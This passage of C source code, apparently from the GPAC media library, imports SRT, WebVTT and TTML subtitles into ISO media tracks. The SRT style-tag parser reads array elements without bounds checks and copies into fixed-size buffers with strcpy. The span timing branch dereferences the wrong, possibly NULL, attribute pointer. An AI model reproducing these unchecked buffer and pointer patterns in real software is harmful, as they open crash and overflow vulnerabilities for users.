szLineConv[j] = 0; strcpy(szLine, szLineConv); return sOK; } #ifdef GPAC_BIG_ENDIAN if (unicode_type==3) { #else if (unicode_type==2) { #endif i=0; while (1) { char c; if (!szLine[i] && !szLine[i+1]) break; c = szLine[i+1]; szLine[i+1] = szLine[i]; szLine[i] = c; i+=2; } } sptr = (u16 *)szLine; i = (u32) gf_utf8_wcstombs(szLineConv, 1024, (const unsigned short **) &sptr); szLineConv[i] = 0; strcpy(szLine, szLineConv); /*this is ugly indeed: since input is UTF16-LE, there are many chances the fgets never reads the \0 after a \n*/ if (unicode_type==3) fgetc(txt_in); return sOK; } #ifndef GPAC_DISABLE_MEDIA_IMPORT static GF_Err gf_text_import_srt(GF_MediaImporter *import) { FILE *srt_in; u32 track, timescale, i, count; GF_TextConfig*cfg; GF_Err e; GF_StyleRecord rec; GF_TextSample * samp; GF_ISOSample *s; u32 sh, sm, ss, sms, eh, em, es, ems, txt_line, char_len, char_line, nb_samp, j, duration, rem_styles; Bool set_start_char, set_end_char, first_samp, rem_color; u64 start, end, prev_end, file_size; u32 state, curLine, line, len, ID, OCR_ES_ID, default_color; s32 unicode_type; char szLine[2048], szText[2048], *ptr; unsigned short uniLine[5000], uniText[5000], *sptr; srt_in = gf_fopen(import->in_name, "rt"); gf_fseek(srt_in, 0, SEEK_END); file_size = gf_ftell(srt_in); gf_fseek(srt_in, 0, SEEK_SET); unicode_type = gf_text_get_utf_type(srt_in); if (unicode_type<0) { gf_fclose(srt_in); return gf_import_message(import, GF_NOT_SUPPORTED, "Unsupported SRT UTF encoding"); } cfg = NULL; if (import->esd) { if (!import->esd->slConfig) { import->esd->slConfig = (GF_SLConfig *) gf_odf_desc_new(GF_ODF_SLC_TAG); import->esd->slConfig->predefined = 2; import->esd->slConfig->timestampResolution = 1000; } timescale = import->esd->slConfig->timestampResolution; if (!timescale) timescale = 1000; /*explicit text config*/ if (import->esd->decoderConfig && import->esd->decoderConfig->decoderSpecificInfo->tag == GF_ODF_TEXT_CFG_TAG) { cfg = (GF_TextConfig *) import->esd->decoderConfig->decoderSpecificInfo; import->esd->decoderConfig->decoderSpecificInfo = NULL; } ID = import->esd->ESID; OCR_ES_ID = import->esd->OCRESID; } else { timescale = 1000; OCR_ES_ID = ID = 0; } if (cfg && cfg->timescale) timescale = cfg->timescale; track = gf_isom_new_track(import->dest, ID, GF_ISOM_MEDIA_TEXT, timescale); if (!track) { gf_fclose(srt_in); return gf_import_message(import, gf_isom_last_error(import->dest), "Error creating text track"); } gf_isom_set_track_enabled(import->dest, track, 1); import->final_trackID = gf_isom_get_track_id(import->dest, track); if (import->esd && !import->esd->ESID) import->esd->ESID = import->final_trackID; if (OCR_ES_ID) gf_isom_set_track_reference(import->dest, track, GF_ISOM_REF_OCR, OCR_ES_ID); /*setup track*/ if (cfg) { char *firstFont = NULL; /*set track info*/ gf_isom_set_track_layout_info(import->dest, track, cfg->text_width<<16, cfg->text_height<<16, 0, 0, cfg->layer); /*and set sample descriptions*/ count = gf_list_count(cfg->sample_descriptions); for (i=0; i<count; i++) { GF_TextSampleDescriptor *sd= (GF_TextSampleDescriptor *)gf_list_get(cfg->sample_descriptions, i); if (!sd->font_count) { sd->fonts = (GF_FontRecord*)gf_malloc(sizeof(GF_FontRecord)); sd->font_count = 1; sd->fonts[0].fontID = 1; sd->fonts[0].fontName = gf_strdup("Serif"); } if (!sd->default_style.fontID) sd->default_style.fontID = sd->fonts[0].fontID; if (!sd->default_style.font_size) sd->default_style.font_size = 16; if (!sd->default_style.text_color) sd->default_style.text_color = 0xFF000000; /*store attribs*/ if (!i) rec = sd->default_style; gf_isom_new_text_description(import->dest, track, sd, NULL, NULL, &state); if (!firstFont) firstFont = sd->fonts[0].fontName; } gf_import_message(import, GF_OK, "Timed Text (SRT) import - text track %d x %d, font %s (size %d)", cfg->text_width, cfg->text_height, firstFont, rec.font_size); gf_odf_desc_del((GF_Descriptor *)cfg); } else { u32 w, h; GF_TextSampleDescriptor *sd; gf_text_get_video_size(import, &w, &h); /*have to work with default - use max size (if only one video, this means the text region is the entire display, and with bottom alignment things should be fine...*/ gf_isom_set_track_layout_info(import->dest, track, w<<16, h<<16, 0, 0, 0); sd = (GF_TextSampleDescriptor*)gf_odf_desc_new(GF_ODF_TX3G_TAG); sd->fonts = (GF_FontRecord*)gf_malloc(sizeof(GF_FontRecord)); sd->font_count = 1; sd->fonts[0].fontID = 1; sd->fonts[0].fontName = gf_strdup(import->fontName ? import->fontName : "Serif"); sd->back_color = 0x00000000; /*transparent*/ sd->default_style.fontID = 1; sd->default_style.font_size = import->fontSize ? import->fontSize : TTXT_DEFAULT_FONT_SIZE; sd->default_style.text_color = 0xFFFFFFFF; /*white*/ sd->default_style.style_flags = 0; sd->horiz_justif = 1; /*center of scene*/ sd->vert_justif = (s8) -1; /*bottom of scene*/ if (import->flags & GF_IMPORT_SKIP_TXT_BOX) { sd->default_pos.top = sd->default_pos.left = sd->default_pos.right = sd->default_pos.bottom = 0; } else { if ((sd->default_pos.bottom==sd->default_pos.top) || (sd->default_pos.right==sd->default_pos.left)) { sd->default_pos.left = import->text_x; sd->default_pos.top = import->text_y; sd->default_pos.right = (import->text_width ? import->text_width : w) + sd->default_pos.left; sd->default_pos.bottom = (import->text_height ? import->text_height : h) + sd->default_pos.top; } } /*store attribs*/ rec = sd->default_style; gf_isom_new_text_description(import->dest, track, sd, NULL, NULL, &state); gf_import_message(import, GF_OK, "Timed Text (SRT) import - text track %d x %d, font %s (size %d)", w, h, sd->fonts[0].fontName, rec.font_size); gf_odf_desc_del((GF_Descriptor *)sd); } gf_text_import_set_language(import, track); duration = (u32) (((Double) import->duration)*timescale/1000.0); default_color = rec.text_color; e = GF_OK; state = 0; end = prev_end = 0; curLine = 0; txt_line = 0; set_start_char = set_end_char = GF_FALSE; char_len = 0; start = 0; nb_samp = 0; samp = gf_isom_new_text_sample(); first_samp = GF_TRUE; while (1) { char *sOK = gf_text_get_utf8_line(szLine, 2048, srt_in, unicode_type); if (sOK) REM_TRAIL_MARKS(szLine, "\r\n\t ") if (!sOK || !strlen(szLine)) { rec.style_flags = 0; rec.startCharOffset = rec.endCharOffset = 0; if (txt_line) { if (prev_end && (start != prev_end)) { GF_TextSample * empty_samp = gf_isom_new_text_sample(); s = gf_isom_text_to_sample(empty_samp); gf_isom_delete_text_sample(empty_samp); if (state<=2) { s->DTS = (u64) ((timescale*prev_end)/1000); s->IsRAP = RAP; gf_isom_add_sample(import->dest, track, 1, s); nb_samp++; } gf_isom_sample_del(&s); } s = gf_isom_text_to_sample(samp); if (state<=2) { s->DTS = (u64) ((timescale*start)/1000); s->IsRAP = RAP; gf_isom_add_sample(import->dest, track, 1, s); gf_isom_sample_del(&s); nb_samp++; prev_end = end; } txt_line = 0; char_len = 0; set_start_char = set_end_char = GF_FALSE; rec.startCharOffset = rec.endCharOffset = 0; gf_isom_text_reset(samp); //gf_import_progress(import, nb_samp, nb_samp+1); gf_set_progress("Importing SRT", gf_ftell(srt_in), file_size); if (duration && (end >= duration)) break; } state = 0; if (!sOK) break; continue; } switch (state) { case 0: if (sscanf(szLine, "%u", &line) != 1) { e = gf_import_message(import, GF_CORRUPTED_DATA, "Bad SRT formatting - expecting number got \"%s\"", szLine); goto exit; } if (line != curLine + 1) gf_import_message(import, GF_OK, "WARNING: corrupted SRT frame %d after frame %d", line, curLine); curLine = line; state = 1; break; case 1: if (sscanf(szLine, "%u:%u:%u,%u --> %u:%u:%u,%u", &sh, &sm, &ss, &sms, &eh, &em, &es, &ems) != 8) { sh = eh = 0; if (sscanf(szLine, "%u:%u,%u --> %u:%u,%u", &sm, &ss, &sms, &em, &es, &ems) != 6) { e = gf_import_message(import, GF_CORRUPTED_DATA, "Error scanning SRT frame %d timing", curLine); goto exit; } } start = (3600*sh + 60*sm + ss)*1000 + sms; if (start<end) { gf_import_message(import, GF_OK, "WARNING: overlapping SRT frame %d - starts "LLD" ms is before end of previous one "LLD" ms - adjusting time stamps", curLine, start, end); start = end; } end = (3600*eh + 60*em + es)*1000 + ems; /*make stream start at 0 by inserting a fake AU*/ if (first_samp && (start>0)) { s = gf_isom_text_to_sample(samp); s->DTS = 0; gf_isom_add_sample(import->dest, track, 1, s); gf_isom_sample_del(&s); nb_samp++; } rec.style_flags = 0; state = 2; if (end<=prev_end) { gf_import_message(import, GF_OK, "WARNING: overlapping SRT frame %d end "LLD" is at or before previous end "LLD" - removing", curLine, end, prev_end); start = end; state = 3; } break; default: /*reset only when text is present*/ first_samp = GF_FALSE; /*go to line*/ if (txt_line) { gf_isom_text_add_text(samp, "\n", 1); char_len += 1; } ptr = (char *) szLine; { size_t _len = gf_utf8_mbstowcs(uniLine, 5000, (const char **) &ptr); if (_len == (size_t) -1) { e = gf_import_message(import, GF_CORRUPTED_DATA, "Invalid UTF data (line %d)", curLine); goto exit; } len = (u32) _len; } i=j=0; rem_styles = 0; rem_color = 0; while (i<len) { u32 font_style = 0; u32 style_nb_chars = 0; u32 style_def_type = 0; if ( (uniLine[i]=='<') && (uniLine[i+2]=='>')) { style_nb_chars = 3; style_def_type = 1; } else if ( (uniLine[i]=='<') && (uniLine[i+1]=='/') && (uniLine[i+3]=='>')) { style_def_type = 2; style_nb_chars = 4; } else if (uniLine[i]=='<') { const unsigned short* src = uniLine + i; size_t alen = gf_utf8_wcstombs(szLine, 2048, (const unsigned short**) & src); szLine[alen] = 0; strlwr(szLine); if (!strncmp(szLine, "<font ", 6) ) { char *a_sep = strstr(szLine, "color"); if (a_sep) a_sep = strchr(a_sep, '"'); if (a_sep) { char *e_sep = strchr(a_sep+1, '"'); if (e_sep) { e_sep[0] = 0; font_style = gf_color_parse(a_sep+1); e_sep[0] = '"'; e_sep = strchr(e_sep+1, '>'); if (e_sep) { style_nb_chars = (u32) (1 + e_sep - szLine); style_def_type = 1; } } } } else if (!strncmp(szLine, "</font>", 7) ) { style_nb_chars = 7; style_def_type = 2; font_style = 0xFFFFFFFF; } //skip unknown else { char *a_sep = strstr(szLine, ">"); if (a_sep) { style_nb_chars = (u32) (a_sep - szLine); i += style_nb_chars; continue; } } } /*start of new style*/ if (style_def_type==1) { /*store prev style*/ if (set_end_char) { assert(set_start_char); gf_isom_text_add_style(samp, &rec); set_end_char = set_start_char = GF_FALSE; rec.style_flags &= ~rem_styles; rem_styles = 0; if (rem_color) { rec.text_color = default_color; rem_color = 0; } } if (set_start_char && (rec.startCharOffset != j)) { rec.endCharOffset = char_len + j; if (rec.style_flags) gf_isom_text_add_style(samp, &rec); } switch (uniLine[i+1]) { case 'b': case 'B': rec.style_flags |= GF_TXT_STYLE_BOLD; set_start_char = GF_TRUE; rec.startCharOffset = char_len + j; break; case 'i': case 'I': rec.style_flags |= GF_TXT_STYLE_ITALIC; set_start_char = GF_TRUE; rec.startCharOffset = char_len + j; break; case 'u': case 'U': rec.style_flags |= GF_TXT_STYLE_UNDERLINED; set_start_char = GF_TRUE; rec.startCharOffset = char_len + j; break; case 'f': case 'F': if (font_style) { rec.text_color = font_style; set_start_char = GF_TRUE; rec.startCharOffset = char_len + j; } break; } i += style_nb_chars; continue; } /*end of prev style*/ if (style_def_type==2) { switch (uniLine[i+2]) { case 'b': case 'B': rem_styles |= GF_TXT_STYLE_BOLD; set_end_char = GF_TRUE; rec.endCharOffset = char_len + j; break; case 'i': case 'I': rem_styles |= GF_TXT_STYLE_ITALIC; set_end_char = GF_TRUE; rec.endCharOffset = char_len + j; break; case 'u': case 'U': rem_styles |= GF_TXT_STYLE_UNDERLINED; set_end_char = GF_TRUE; rec.endCharOffset = char_len + j; break; case 'f': case 'F': if (font_style) { rem_color = 1; set_end_char = GF_TRUE; rec.endCharOffset = char_len + j; } } i+=style_nb_chars; continue; } /*store style*/ if (set_end_char) { gf_isom_text_add_style(samp, &rec); set_end_char = GF_FALSE; set_start_char = GF_TRUE; rec.startCharOffset = char_len + j; rec.style_flags &= ~rem_styles; rem_styles = 0; rec.text_color = default_color; rem_color = 0; } uniText[j] = uniLine[i]; j++; i++; } /*store last style*/ if (set_end_char) { gf_isom_text_add_style(samp, &rec); set_end_char = GF_FALSE; set_start_char = GF_TRUE; rec.startCharOffset = char_len + j; rec.style_flags &= ~rem_styles; } char_line = j; uniText[j] = 0; sptr = (u16 *) uniText; len = (u32) gf_utf8_wcstombs(szText, 5000, (const u16 **) &sptr); gf_isom_text_add_text(samp, szText, len); char_len += char_line; txt_line ++; break; } if (duration && (start >= duration)) { end = 0; break; } } /*final flush*/ if (end && !(import->flags & GF_IMPORT_NO_TEXT_FLUSH ) ) { gf_isom_text_reset(samp); s = gf_isom_text_to_sample(samp); s->DTS = (u64) ((timescale*end)/1000); s->IsRAP = RAP; gf_isom_add_sample(import->dest, track, 1, s); gf_isom_sample_del(&s); nb_samp++; gf_isom_set_last_sample_duration(import->dest, track, 0); } else { if (duration && (start >= duration)) { gf_isom_set_last_sample_duration(import->dest, track, (timescale*duration)/1000); } else { gf_isom_set_last_sample_duration(import->dest, track, 0); } } gf_isom_delete_text_sample(samp); gf_set_progress("Importing SRT", nb_samp, nb_samp); exit: if (e) gf_isom_remove_track(import->dest, track); gf_fclose(srt_in); return e; } /* Structure used to pass importer and track data to the parsers without exposing the GF_MediaImporter structure used by WebVTT and Flash->SVG */ typedef struct { GF_MediaImporter *import; u32 timescale; u32 track; u32 descriptionIndex; } GF_ISOFlusher; #ifndef GPAC_DISABLE_VTT static GF_Err gf_webvtt_import_report(void *user, GF_Err e, char *message, const char *line) { GF_ISOFlusher *flusher = (GF_ISOFlusher *)user; return gf_import_message(flusher->import, e, message, line); } static void gf_webvtt_import_header(void *user, const char *config) { GF_ISOFlusher *flusher = (GF_ISOFlusher *)user; gf_isom_update_webvtt_description(flusher->import->dest, flusher->track, flusher->descriptionIndex, config); } static void gf_webvtt_flush_sample_to_iso(void *user, GF_WebVTTSample *samp) { GF_ISOSample *s; GF_ISOFlusher *flusher = (GF_ISOFlusher *)user; //gf_webvtt_dump_sample(stdout, samp); s = gf_isom_webvtt_to_sample(samp); if (s) { s->DTS = (u64) (flusher->timescale*gf_webvtt_sample_get_start(samp)/1000); s->IsRAP = RAP; gf_isom_add_sample(flusher->import->dest, flusher->track, flusher->descriptionIndex, s); gf_isom_sample_del(&s); } gf_webvtt_sample_del(samp); } static GF_Err gf_text_import_webvtt(GF_MediaImporter *import) { GF_Err e; u32 track; u32 timescale; u32 duration; u32 descIndex=1; u32 ID; u32 OCR_ES_ID; GF_GenericSubtitleConfig *cfg; GF_WebVTTParser *vttparser; GF_ISOFlusher flusher; cfg = NULL; if (import->esd) { if (!import->esd->slConfig) { import->esd->slConfig = (GF_SLConfig *) gf_odf_desc_new(GF_ODF_SLC_TAG); import->esd->slConfig->predefined = 2; import->esd->slConfig->timestampResolution = 1000; } timescale = import->esd->slConfig->timestampResolution; if (!timescale) timescale = 1000; /*explicit text config*/ if (import->esd->decoderConfig && import->esd->decoderConfig->decoderSpecificInfo->tag == GF_ODF_GEN_SUB_CFG_TAG) { cfg = (GF_GenericSubtitleConfig *) import->esd->decoderConfig->decoderSpecificInfo; import->esd->decoderConfig->decoderSpecificInfo = NULL; } ID = import->esd->ESID; OCR_ES_ID = import->esd->OCRESID; } else { timescale = 1000; OCR_ES_ID = ID = 0; } if (cfg && cfg->timescale) timescale = cfg->timescale; track = gf_isom_new_track(import->dest, ID, GF_ISOM_MEDIA_TEXT, timescale); if (!track) { return gf_import_message(import, gf_isom_last_error(import->dest), "Error creating WebVTT track"); } gf_isom_set_track_enabled(import->dest, track, 1); import->final_trackID = gf_isom_get_track_id(import->dest, track); if (import->esd && !import->esd->ESID) import->esd->ESID = import->final_trackID; if (OCR_ES_ID) gf_isom_set_track_reference(import->dest, track, GF_ISOM_REF_OCR, OCR_ES_ID); /*setup track*/ if (cfg) { u32 i; u32 count; /*set track info*/ gf_isom_set_track_layout_info(import->dest, track, cfg->text_width<<16, cfg->text_height<<16, 0, 0, cfg->layer); /*and set sample descriptions*/ count = gf_list_count(cfg->sample_descriptions); for (i=0; i<count; i++) { gf_isom_new_webvtt_description(import->dest, track, NULL, NULL, NULL, &descIndex); } gf_import_message(import, GF_OK, "WebVTT import - text track %d x %d", cfg->text_width, cfg->text_height); gf_odf_desc_del((GF_Descriptor *)cfg); } else { u32 w; u32 h; gf_text_get_video_size(import, &w, &h); gf_isom_set_track_layout_info(import->dest, track, w<<16, h<<16, 0, 0, 0); gf_isom_new_webvtt_description(import->dest, track, NULL, NULL, NULL, &descIndex); gf_import_message(import, GF_OK, "WebVTT import"); } gf_text_import_set_language(import, track); duration = (u32) (((Double) import->duration)*timescale/1000.0); vttparser = gf_webvtt_parser_new(); flusher.import = import; flusher.timescale = timescale; flusher.track = track; flusher.descriptionIndex = descIndex; e = gf_webvtt_parser_init(vttparser, import->in_name, &flusher, gf_webvtt_import_report, gf_webvtt_flush_sample_to_iso, gf_webvtt_import_header); if (e != GF_OK) { gf_webvtt_parser_del(vttparser); return gf_import_message(import, GF_NOT_SUPPORTED, "Unsupported WebVTT UTF encoding"); } e = gf_webvtt_parser_parse(vttparser, duration); if (e != GF_OK) { gf_isom_remove_track(import->dest, track); } /*do not add any empty sample at the end since it modifies track duration and is not needed - it is the player job to figure out when to stop displaying the last text sample However update the last sample duration*/ gf_isom_set_last_sample_duration(import->dest, track, (u32) gf_webvtt_parser_last_duration(vttparser)); gf_webvtt_parser_del(vttparser); return e; } #endif /*GPAC_DISABLE_VTT*/ static char *ttxt_parse_string(GF_MediaImporter *import, char *str, Bool strip_lines) { u32 i=0; u32 k=0; u32 len = (u32) strlen(str); u32 state = 0; if (!strip_lines) { for (i=0; i<len; i++) { if ((str[i] == '\r') && (str[i+1] == '\n')) { i++; } str[k] = str[i]; k++; } str[k]=0; return str; } if (str[0]!='\'') return str; for (i=0; i<len; i++) { if (str[i] == '\'') { if (!state) { if (k) { str[k]='\n'; k++; } state = !state; } else if (state) { if ( (i+1==len) || ((str[i+1]==' ') || (str[i+1]=='\n') || (str[i+1]=='\r') || (str[i+1]=='\t') || (str[i+1]=='\'')) ) { state = !state; } else { str[k] = str[i]; k++; } } } else if (state) { str[k] = str[i]; k++; } } str[k]=0; return str; } static void ttml_import_progress(void *cbk, u64 cur_samp, u64 count) { gf_set_progress("TTML Loading", cur_samp, count); } static void gf_text_import_ebu_ttd_remove_samples(GF_XMLNode *root, GF_XMLNode **sample_list_node) { u32 idx = 0, body_num = 0; GF_XMLNode *node = NULL; *sample_list_node = NULL; while ( (node = (GF_XMLNode*)gf_list_enum(root->content, &idx))) { if (!strcmp(node->name, "body")) { GF_XMLNode *body_node; u32 body_idx = 0; while ( (body_node = (GF_XMLNode*)gf_list_enum(node->content, &body_idx))) { if (!strcmp(body_node->name, "div")) { *sample_list_node = body_node; body_num = gf_list_count(body_node->content); while (body_num--) { GF_XMLNode *content_node = (GF_XMLNode*)gf_list_get(body_node->content, 0); assert(gf_list_find(body_node->content, content_node) == 0); gf_list_rem(body_node->content, 0); gf_xml_dom_node_del(content_node); } return; } } } } } #define TTML_NAMESPACE "http://www.w3.org/ns/ttml" static GF_Err gf_text_import_ebu_ttd(GF_MediaImporter *import, GF_DOMParser *parser, GF_XMLNode *root) { GF_Err e, e_opt; u32 i, track, ID, desc_idx, nb_samples, nb_children; u64 last_sample_duration, last_sample_end; GF_XMLAttribute *att; GF_XMLNode *node, *root_working_copy, *sample_list_node; GF_DOMParser *parser_working_copy; char *samp_text; Bool has_body; samp_text = NULL; root_working_copy = NULL; parser_working_copy = NULL; /*setup track in 3GP format directly (no ES desc)*/ ID = (import->esd) ? import->esd->ESID : 0; track = gf_isom_new_track(import->dest, ID, GF_ISOM_MEDIA_MPEG_SUBT, 1000); if (!track) { e = gf_isom_last_error(import->dest); goto exit; } gf_isom_set_track_enabled(import->dest, track, 1); /*some MPEG-4 setup*/ if (import->esd) { if (!import->esd->ESID) import->esd->ESID = gf_isom_get_track_id(import->dest, track); if (!import->esd->decoderConfig) import->esd->decoderConfig = (GF_DecoderConfig *) gf_odf_desc_new(GF_ODF_DCD_TAG); if (!import->esd->slConfig) import->esd->slConfig = (GF_SLConfig *) gf_odf_desc_new(GF_ODF_SLC_TAG); import->esd->slConfig->timestampResolution = 1000; import->esd->decoderConfig->streamType = GF_STREAM_TEXT; import->esd->decoderConfig->objectTypeIndication = GPAC_OTI_TEXT_MPEG4; if (import->esd->OCRESID) gf_isom_set_track_reference(import->dest, track, GF_ISOM_REF_OCR, import->esd->OCRESID); } gf_import_message(import, GF_OK, "TTML EBU-TTD Import"); /*** root (including language) ***/ i=0; while ( (att = (GF_XMLAttribute *)gf_list_enum(root->attributes, &i))) { GF_LOG(GF_LOG_DEBUG, GF_LOG_PARSER, ("Found root attribute name %s, value %s\n", att->name, att->value)); if (!strcmp(att->name, "xmlns")) { if (strcmp(att->value, TTML_NAMESPACE)) { e = gf_import_message(import, GF_BAD_PARAM, "Found invalid EBU-TTD root attribute name %s, value %s (shall be \"%s\")\n", att->name, att->value, TTML_NAMESPACE); goto exit; } } else if (!strcmp(att->name, "xml:lang")) { if (import->esd && !import->esd->langDesc) { char *lang; lang = gf_strdup(att->value); import->esd->langDesc = (GF_Language *) gf_odf_desc_new(GF_ODF_LANG_TAG); gf_isom_set_media_language(import->dest, track, lang); } else { gf_isom_set_media_language(import->dest, track, att->value); } } } /*** style ***/ #if 0 { Bool has_styling, has_style; GF_TextSampleDescriptor *sd; has_styling = GF_FALSE; has_style = GF_FALSE; sd = (GF_TextSampleDescriptor*)gf_odf_desc_new(GF_ODF_TX3G_TAG); i=0; while ( (node = (GF_XMLNode*)gf_list_enum(root->content, &i))) { if (node->type) { continue; } else if (gf_xml_get_element_check_namespace(node, "head", root->ns) == GF_OK) { GF_XMLNode *head_node; u32 head_idx = 0; while ( (head_node = (GF_XMLNode*)gf_list_enum(node->content, &head_idx))) { if (gf_xml_get_element_check_namespace(head_node, "styling", root->ns) == GF_OK) { GF_XMLNode *styling_node; u32 styling_idx; if (has_styling) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML EBU-TTD] duplicated \"styling\" element. Abort.\n"); goto exit; } has_styling = GF_TRUE; styling_idx = 0; while ( (styling_node = (GF_XMLNode*)gf_list_enum(head_node->content, &styling_idx))) { if (gf_xml_get_element_check_namespace(styling_node, "style", root->ns) == GF_OK) { GF_XMLAttribute *p_att; u32 style_idx = 0; while ( (p_att = (GF_XMLAttribute*)gf_list_enum(styling_node->attributes, &style_idx))) { if (!strcmp(p_att->name, "tts:direction")) { } else if (!strcmp(p_att->name, "tts:fontFamily")) { sd->fonts = (GF_FontRecord*)gf_malloc(sizeof(GF_FontRecord)); sd->font_count = 1; sd->fonts[0].fontID = 1; sd->fonts[0].fontName = gf_strdup(p_att->value); } else if (!strcmp(p_att->name, "tts:backgroundColor")) { GF_LOG(GF_LOG_INFO, GF_LOG_PARSER, ("EBU-TTD style attribute \"%s\" ignored.\n", p_att->name)); //sd->back_color = ; } else { if ( !strcmp(p_att->name, "tts:fontSize") || !strcmp(p_att->name, "tts:lineHeight") || !strcmp(p_att->name, "tts:textAlign") || !strcmp(p_att->name, "tts:color") || !strcmp(p_att->name, "tts:fontStyle") || !strcmp(p_att->name, "tts:fontWeight") || !strcmp(p_att->name, "tts:textDecoration") || !strcmp(p_att->name, "tts:unicodeBidi") || !strcmp(p_att->name, "tts:wrapOption") || !strcmp(p_att->name, "tts:multiRowAlign") || !strcmp(p_att->name, "tts:linePadding")) { GF_LOG(GF_LOG_INFO, GF_LOG_PARSER, ("EBU-TTD style attribute \"%s\" ignored.\n", p_att->name)); } else { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("EBU-TTD unknown style attribute: \"%s\". Ignoring.\n", p_att->name)); } } } break; //TODO: we only take care of the first style } } } } } } if (!has_styling) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML EBU-TTD] missing \"styling\" element. Abort.\n"); goto exit; } if (!has_style) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML EBU-TTD] missing \"style\" element. Abort.\n"); goto exit; } e = gf_isom_new_text_description(import->dest, track, sd, NULL, NULL, &desc_idx); gf_odf_desc_del((GF_Descriptor*)sd); } #else e = gf_isom_new_xml_subtitle_description(import->dest, track, TTML_NAMESPACE, NULL, NULL, &desc_idx); #endif if (e != GF_OK) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("[TTML EBU-TTD] incorrect sample description. Abort.\n")); e = gf_isom_last_error(import->dest); goto exit; } /*** body ***/ parser_working_copy = gf_xml_dom_new(); e = gf_xml_dom_parse(parser_working_copy, import->in_name, NULL, NULL); assert (e == GF_OK); root_working_copy = gf_xml_dom_get_root(parser_working_copy); assert(root_working_copy); last_sample_duration = 0; last_sample_end = 0; nb_samples = 0; nb_children = gf_list_count(root->content); has_body = GF_FALSE; i=0; while ( (node = (GF_XMLNode*)gf_list_enum(root->content, &i))) { if (node->type) { nb_children--; continue; } e_opt = gf_xml_get_element_check_namespace(node, "body", root->ns); if (e_opt == GF_BAD_PARAM) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("[TTML EBU-TTD] ignored \"%s\" node, check your namespaces\n", node->name)); } else if (e_opt == GF_OK) { GF_XMLNode *body_node; u32 body_idx = 0; if (has_body) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML EBU-TTD] duplicated \"body\" element. Abort.\n"); goto exit; } has_body = GF_TRUE; /*remove all the entries from the working copy, we'll add samples one to one to create full XML samples*/ gf_text_import_ebu_ttd_remove_samples(root_working_copy, &sample_list_node); while ( (body_node = (GF_XMLNode*)gf_list_enum(node->content, &body_idx))) { e_opt = gf_xml_get_element_check_namespace(body_node, "div", root->ns); if (e_opt == GF_BAD_PARAM) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("[TTML EBU-TTD] ignored \"%s\" node, check your namespaces\n", node->name)); } else if (e_opt == GF_OK) { GF_XMLNode *div_node; u32 div_idx = 0, nb_p_found = 0; while ( (div_node = (GF_XMLNode*)gf_list_enum(body_node->content, &div_idx))) { e_opt = gf_xml_get_element_check_namespace(div_node, "p", root->ns); if (e_opt != GF_OK) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("[TTML] ignored \"%s\" node, check your namespaces\n", node->name)); } else if (e_opt == GF_OK) { GF_XMLNode *p_node; GF_XMLAttribute *p_att; u32 p_idx = 0, h, m, s, f, ms; s64 ts_begin = -1, ts_end = -1; //sample is either in the <p> ... while ( (p_att = (GF_XMLAttribute*)gf_list_enum(div_node->attributes, &p_idx))) { if (!p_att) continue; if (!strcmp(p_att->name, "begin")) { if (ts_begin != -1) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML] duplicated \"begin\" attribute. Abort.\n"); goto exit; } if (sscanf(p_att->value, "%u:%u:%u.%u", &h, &m, &s, &ms) == 4) { ts_begin = (h*3600 + m*60+s)*1000+ms; } else if (sscanf(p_att->value, "%u:%u:%u:%u", &h, &m, &s, &f) == 4) { ts_begin = (h*3600 + m*60+s)*1000+f*40; } else if (sscanf(p_att->value, "%u:%u:%u", &h, &m, &s) == 3) { ts_begin = (h*3600 + m*60+s)*1000; } } else if (!strcmp(p_att->name, "end")) { if (ts_end != -1) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML] duplicated \"end\" attribute. Abort.\n"); goto exit; } if (sscanf(p_att->value, "%u:%u:%u.%u", &h, &m, &s, &ms) == 4) { ts_end = (h*3600 + m*60+s)*1000+ms; } else if (sscanf(p_att->value, "%u:%u:%u:%u", &h, &m, &s, &f) == 4) { ts_end = (h*3600 + m*60+s)*1000+f*40; } else if (sscanf(p_att->value, "%u:%u:%u", &h, &m, &s) == 3) { ts_end = (h*3600 + m*60+s)*1000; } } if ((ts_begin != -1) && (ts_end != -1) && !samp_text && sample_list_node) { e = gf_xml_dom_append_child(sample_list_node, div_node); assert(e == GF_OK); assert(!samp_text); samp_text = gf_xml_dom_serialize((GF_XMLNode*)root_working_copy, GF_FALSE); e = gf_xml_dom_rem_child(sample_list_node, div_node); assert(e == GF_OK); } } //or under a <span> p_idx = 0; while ( (p_node = (GF_XMLNode*)gf_list_enum(div_node->content, &p_idx))) { e_opt = gf_xml_get_element_check_namespace(p_node, "span", root->ns); if (e_opt == GF_BAD_PARAM) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("[TTML] ignored \"%s\" node, check your namespaces\n", node->name)); } else if (e_opt == GF_OK) { u32 span_idx = 0; GF_XMLAttribute *span_att; while ( (span_att = (GF_XMLAttribute*)gf_list_enum(p_node->attributes, &span_idx))) { if (!span_att) continue; if (!strcmp(span_att->name, "begin")) { if (ts_begin != -1) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML] duplicated \"begin\" attribute under <span>. Abort.\n"); goto exit; } if (sscanf(span_att->value, "%u:%u:%u.%u", &h, &m, &s, &ms) == 4) { ts_begin = (h*3600 + m*60+s)*1000+ms; } else if (sscanf(p_att->value, "%u:%u:%u:%u", &h, &m, &s, &f) == 4) { ts_begin = (h*3600 + m*60+s)*1000+f*40; } else if (sscanf(span_att->value, "%u:%u:%u", &h, &m, &s) == 3) { ts_begin = (h*3600 + m*60+s)*1000; } } else if (!strcmp(span_att->name, "end")) { if (ts_end != -1) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML] duplicated \"end\" attribute under <span>. Abort.\n"); goto exit; } if (sscanf(span_att->value, "%u:%u:%u.%u", &h, &m, &s, &ms) == 4) { ts_end = (h*3600 + m*60+s)*1000+ms; } else if (sscanf(p_att->value, "%u:%u:%u:%u", &h, &m, &s, &f) == 4) { ts_end = (h*3600 + m*60+s)*1000+f*40; } else if (sscanf(span_att->value, "%u:%u:%u", &h, &m, &s) == 3) { 